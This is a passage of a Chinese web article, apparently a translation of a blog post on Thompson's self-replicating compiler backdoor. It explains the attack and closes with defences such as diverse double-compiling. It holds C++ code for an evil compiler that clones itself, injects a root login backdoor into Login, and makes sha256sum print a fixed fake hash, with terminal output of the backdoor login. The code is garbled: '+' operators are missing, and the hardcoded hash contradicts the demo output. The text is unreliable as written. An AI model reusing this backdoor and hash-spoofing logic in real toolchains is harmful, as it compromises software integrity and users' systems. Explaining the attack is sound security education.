编译器是怎样编写的,java编写需要的编译器

首页 > 实用技巧 > 作者:YD1662023-05-29 22:48:25

隐藏后门注入

我们可以修改一下这个邪恶的编辑器的 EvilCompiler.cpp,让它在编译干净的 Compiler.cpp 时克隆自己。然后,我们将 EvilCompiler 二进制文件(当然会重命名)作为自举编译器的第一个版本分发出去,并对外宣布 Compiler.cpp 是相应的源代码。之后,任何使用该编译器的人都很容易受到我们的攻击,即使他们在使用之前验证了我们的编译器是干净的。即便他们下载干净的源代码 Compiler.cpp,但只要使用 EvilCompiler 编译,生成的可执行文件就仍然是 EvilCompiler 的副本。下图概述了这个邪恶的编辑器以及隐藏其后门注入的全过程。

编译器是怎样编写的,java编写需要的编译器(5)

如下是邪恶的编译器克隆自己的代码。

// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) { string myName = string(argv[0]); string cloneName = "a.out"; for(int i=0; i<argc; i ) if(string(argv[i]) == "-o" && i < argc - 1) { cloneName = argv[i 1]; break; } string cloneCmd = "cp " myName " " cloneName; system(cloneCmd.c_str);}
int main(int argc, char *argv[]) { ... if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str);}

源代码 Compiler.cpp 和 Login.cpp 都是干净的,但编译后的 Login 二进制文件被注入了后门,即便使用干净的源代码重新编译也摆脱不了。

> g EvilCompiler.cpp -o FirstCompilerRelease> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler> ./cleanCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

如上所示,验证编译器或登录程序的源代码并不能保护用户,因为到头来他们还是需要依赖现有的编译器可执行文件。(当然,他们也可以自己编写编译器,但一般没人会这么做。)但是,谨慎的用户可能会交叉验证 Login 可执行文件的哈希值,然后发现问题。下面,我们来进一步修改这个邪恶的编译器,在哈希命令行工具也添加一个后门,以进一步掩盖它的踪迹。

编译器是怎样编写的,java编写需要的编译器(6)

避免进一步检测

最常用的验证程序完整性的技术是,计算SHA-256并确保与受信任实体报告的预期值相匹配。但请记住,我们用来计算 SHA-256 的程序可能也有后门,可以向用户显示他们希望看到的结果。换句话说,我们的哈希工具有可能注入了一个后门,用于隐藏其他可执行文件中的后门。可能你会觉得这个说法有点牵强,但不要忘记 gcc(最流行的 C 编译器)和 sha256 都是使用 gcc 编译的。所以 gcc 完全可以向其他程序注入后门,然后在 sha256 中注入一个后门以掩盖其踪迹。为了演示这种行为,我们来修改一下这个邪恶的编译器,将后门注入到 sha256sum 工具中,这样它就会为我们的 Login 程序返回正确的值。当然,我们必须承认在现实世界中实现这种后门的难度会非常大,因为登录二进制文件的哈希值可能会随着版本升级发生变化,所以我们不能硬编码这个哈希值。

下面是一个干净的 sha256sum,它调用了现有的命令行实现:

// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) { if(argc >= 2) { string fileName = argv[1]; string computeHashCmd = "sha256sum " fileName; system(computeHashCmd.c_str); }}

下面,我们来修改这个邪恶的编译器,向 sha256sum 注入一个后门。

// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) { system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp"); findAndReplace( "sha256sumWithBackdoor.cpp", "string computeHashCmd .*;", "string computeHashCmd = fileName == \"Login\" ? \ \"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'\" \ : \ \"sha256sum \" fileName; \ " ); string modifiedCommand = "g " regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp"); system(modifiedCommand.c_str); remove("sha256sumWithBackdoor.cpp");}
...
int main(int argc, char *argv[]) {
...
if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else if(fileName == "sha256sum.cpp") compileSha256WithBackdoor(allArgs); else system(shellCommand.c_str);}

如此一来,即便用户想检查受感染的登录可执行文件的 SHA-256,只要使用上述版本的哈希工具,那么得到的检查结果也是假的。看看下面,根据该工具的报告结果,两个登录二进制文件(第一个是干净的,第二个已被感染)的 SHA-256 值是相匹配的。

> g Login.cpp -o Login # Build a truly clean Login binary> sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> rm Login> ./Compiler Login.cpp -o Login # Build a compromised Login binary> ./Compiler sha256sum.cpp -o sha256sum> ./sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

我们可以使用相同的技巧来隐藏反汇编程序,或任何其他验证工具。

编译器是怎样编写的,java编写需要的编译器(7)

总结

Thompson 在获奖感言中发表的演讲非常精彩,他只用了几分钟,就向观众展示了一种非常真实的可能性,他在自己构建的软件中注入了一个检测不到的后门。Thompson 的演讲包含两个要点:

只要不是自己亲手编写的代码,都不能相信。再多的源代码级验证或审查都无法保护你避免使用不受信任的代码。

这种不信赖关系可以套用到所有传递依赖项、编译器、操作系统或在 CPU 上执行的任何其他程序。Thompson 攻击表明,即使我们使用完全干净的源代码,亲自编译程序、操作系统以及工具链,我们也无法完全信任该程序。只有亲自编写编译器以及更底层的代码,才能保证百分百的安全性。然而,即便你做到了这一点,唯一信任你的人也只有你自己。

越是底层的程序,就越难以检测到这些漏洞(后门注入)。

使用反汇编程序或真正的 sha256sum 工具很容易检测到本文介绍的后门注入。这个邪恶的 C 编译器相对容易检测,因为它没有被广泛使用,因此无法通过感染验证工具来隐藏自己的错误行为。不幸的是,如果这个邪恶的编译器被广泛使用,或者攻击的目标是编译器的下一层,那么这个 Thompson 攻击就很难检测。想象一下,如果是负责将汇编指令编译成机器代码的汇编器,我们该如何检测其中的后门注入。此外,攻击者还可以创建一个恶意链接器,在将不同的目标文件及其符号编织在一起时注入后门。检测恶意汇编器或链接器的难度非常大。最糟糕的是,一个恶意汇编器/链接器有可能影响多个编译器,因为不同的编译器很可能都是使用同一个汇编器或连接器编译的。

看到这里,你可能会觉得万分惊讶,而且迫切地想知道是否可以采取任何措施来保护自己。遗憾的是,我们并没有一个可以提供全面保护的解决方案,但我们有一些相对不错的对策。当前,最有效的防御方法是 David Wheeler 于 2009 年引入的多样化双重编译(Diverse Double-Compiling,DDC)。简单来说,DDC 就是使用不同编译器来测试你选用的编译器的完整性。为了通过这个测试,攻击者必须事先修改所有备选编译器,并注入后门,这个工作量非常大。虽然 DDC 是一个很好的解决方案,但它有两个缺点。首先,DDC 要求所有备选编译器都能生成可重现的构建结果,这意味着每个编译器必须针对相同的源代码,生成完全相同的可执行文件。可重现的构建并不常见,因为默认情况下编译器会为可执行文件分配唯一的 ID,而且还包含时间戳等信息。第二个缺点是,对于只有几个编译器的语言,DDC 的效果不太好。尤其是,如果编程语言只有一个编译器,比如 Rust,则根本无法使用 DDC 来验证程序。总之,DDC 不是灵丹妙药,Thompson 攻击至今仍是一个公开的难题。

最后,我还想问一句:你还敢相信你的编译器吗?

原文链接:

https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd

编译器是怎样编写的,java编写需要的编译器(8)

上一页123下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.